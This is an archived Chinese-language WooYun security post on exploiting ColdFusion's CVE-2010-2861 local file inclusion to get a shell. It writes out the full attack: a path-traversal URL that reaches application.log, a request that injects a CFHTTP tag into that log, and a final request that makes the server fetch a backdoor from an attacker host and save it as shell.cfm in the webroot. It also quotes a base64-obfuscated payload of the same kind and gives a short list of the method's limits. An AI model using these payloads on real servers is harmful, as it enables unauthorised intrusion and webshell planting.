# COLDFUSION(CVE-2010-2861) 本地包含利用方法

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2014-04-19T05:55:00Z
Canonical: https://wepostx.com/topics/438

> 乌云历史资料归档
>
> **原始作者：** mickey
> **原始编号：** superkieran-wooyundrops:224
> **原始发布时间：** 2014-04-19 13:55
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

最近看老外的一篇文章说，CVE-2010-2861这个利用方法，只有看到过通过读取password.properties里的password字段，破解SHA-1值登陆后台，或者通过传递哈希登陆后台的，还没见过能直接得到SHELL的。其实我以前和小伙伴讨论过利用application.log本地包含CFM的方法，当时的利用方法是这样的：
首先看看application.log有没有在默认的目录：

```text
http://10.18.180.23:8500//CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\logs\application.log%00en
```
然后访问一个不存在的页面，注意编码问题，否则不成功的。

```text
http://192.168.72.141:8500/%3CCFHTTP%20METHOD%3DGet%20URL%3D%23URL.u%23%20PATH%3D%23URL.p%23%20FILE%3D%23URL.f%23%3E.cfml
```
这时候就会把<CFHTTP METHOD=Get URL=#URL.u# PATH=#URL.p# FILE=#URL.f#>注入到application.log里了，看下图：

![原文图片](/media/2016/06/d2b15cddb43c05eba4c81b1d97559c1a)

最后我们访问

```text
http://10.18.180.23:8500//CFIDE/administrator/enter.cfm?locale=................\ColdFusion8\logs\application.log%00en&u=http://10.18.180.20/dvwa/hackable/uploads/xl.txt&p=C:\ColdFusion8\wwwroot&f=shell.cfm
```

![原文图片](/media/2016/06/cd478faa7ac9d8be4d0f9a0996eba149)

就会从10.18.180.20上把xl.txt的CF后门脚本下载到目标机器的c:\ColdFusion8\wwwroot目录了。
我们看看老外用的方法：思路都是一样的，就是他的payload选择的是

```text
<cfhttp method='get' url='#ToString(ToBinary('aHR0cDovLzE5Mi4xNjguMS45Nzo4MDAwL2NtZC5jZm1s'))#' path='#ExpandPath(ToString(ToBinary('Li4vLi4v')))#' file='cmd.cfml'>
```
使用cfm的CFHTTP标签执行一个HTTP请求来取得192.168.1.97:8000 WEB服务器上的cmd.cfml文件，ToString(ToBinary是为了做BASE64编码，绕过一些字符的限制，比如/
下面说说此法的缺点：

```text
1.不是通杀的方法，如果对方禁止对外的HTTP访问，此法不行 2.如果安装的时候是集成到IIS模式的，CF程序目录放到其他盘符的话，是没法使用../跨目录的
```

## Replies
